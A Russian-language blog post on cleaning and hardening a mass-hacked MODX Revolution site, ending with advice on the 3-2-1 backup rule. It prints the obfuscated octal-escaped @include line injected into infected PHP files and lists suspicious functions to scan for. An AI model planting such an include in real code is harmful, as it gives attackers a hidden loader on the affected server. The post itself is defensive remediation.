Массовые взломы MODX Revolution или почему нужно делать бэкап

Раздался у меня в пятницу звонок, от представителя одного из экс-заказчиков. Знаете эту историю — скупой платит, не дважды, а всегда. Так вот — его ресурс попал под взлом, и соответственно  стал постепенно разваливаться, сначала фронт переводил посетителей на всякие скамы, типа биномо, потом тоже самое стало происходить в бэкэнде, потом перестало вообще грузить бэкэнд. Итак, явки пароли от хостинга взяты, приступим!

Лечим взломанный MODX Revo

Первым делом, снимаем и проверяем дамп базы на опасные вкрапления shell_exec, eval, base64, passthru, includes, requires, decode и прочее. Скорее всего в базе ничего не будет, т.к. MODX не грешит включением в доставляемое из базы содержимое всяких исполняемых на сервере или в браузере скриптов — привет WordPress, в котором в пост можно встроить майнер монерки, и каждый кто зайдёт — присядет на него. Другое дело как его туда внедрить — но это уже совершенно другая история.

Теперь делаем дамп файлов. Смотрим на исполняемые php файлы, особенно в корне, по хорошему у MODX там должны быть только index.php и config.core.pho, также проверяем php файлы в стандартных папках assets, core, components, manager. Там скорее всего будут в самом начале файлов вкрапления следующего вида:

/*b127e*/

@include «\057dom\145/en\145rs/\071/91\061700\060198\0550/d\157mai\156s/p\162o-s\165shi\056net\057cor\145/co\155pon\145nts\057sho\160kee\160er3\057.ce\06715d\0705.i\143o»;

/*b127e*/

Это заражённый код, который запускается специфическим get-запросом, если ведёте логи — то без труда обнаружите их. Можете просто удалить, можете поглумиться. Бонус заключается в том, что вкрапления будут во всех файлах одинаковы, т.е. их без труда удалить.

Но дальше наступает самое интересное — js файлы. В зависимости от глубины заражения могут быть перезаписаны все файлы. Они, будут все одного размера, сложно же ожидать от массовой атаки какой-либо изощренности? к сожалению все js файлы потеряны. Хорошая новость в том, что если у вас нет бэкапа основные файлы можно взять из стандартной поставки MODX. Другой бонус заключается в том, что в зависимости от количества установленных пакетов js файлов может быть далеко за 1000, и не все пакеты могут быть под рукой. Но, MODX  хранит transport zipы пакетов. Т.е. пакетами, которые отсутствуют, можно смело жертвовать — потом их можно будет установить из транспортных архивов. Итак мы зачистили зараженные файлы. Содержимое core/cache/ грохаем, но не саму папку. Файлы стандартных пакетов меняем на чистые. Грузим на сервер, заходим в админку, устанавливаем все недостающие пакеты из архивов. Вуаля. Теперь пришло время защитить ресурс.

Защищаем взломанный MODX Revo

Как известно эксплоиты сразу не умирают и атаки будут продолжаться усердными роботами ещё некоторое время. Самый простой способ — снять со всех папок права на запись для ВСЕХ, т.е. chmod 0555, и будет. Даже если скрипт будет исполнен он ничего не запишет.

Способ посложнее — убивать все запросы запрашивающие специфические php файлы в стандартных директориях через следующий .htaccess:

IndexIgnore */*
<Files *.php>
Order Deny,Allow
Deny from all
</Files>
<Files *.log>
Order Deny,Allow
Deny from all
</Files>

И ещё один бонус. Бывает так, что вы всё вылечели, а то в админке то ещё где — белый экран. Это из-за того что зловред помимо того, что портит всё js он ещё генерит пустые index.html где попало. Грохаем их.

3-2-1 правило или почему надо делать бэкап.

Всё вышеизложенной канители можно избежать регулярно делая бэкап. На хороших хостингах бэкапы делаются автоматический, но может получится так что перезаписанные файлы тоже будут забэкаплены. Так что грамонтый бэкап — ваша головная боль. Правило 3-2-1 гласит, что у вас должно быть 3 копии ваших данных, и базы и кода и почты, короче всего нужного, 2 разных носителя, т.е жесткий диск и флеш-накопители или облака, и обязательно 1 офф-сайт копия. Т.е. в случае сайта будет ваша машина.

Помимо этого надо различать типы бэкапов. Возможно у вас очень большой ресурс, гига или тера-байты данных и каждый раз делать полный бэкап дорого.

Можно раз в неделю делать инкрементальный бэкап — т.е. хранить только изменение файлов относительно последнего полного бэкапа. А раз в месяц полный.

Есть куча софта для менеджмента бэкапов, ничего конкретного рекламировать не стану, фих всем, криптоанархизм наше фсё!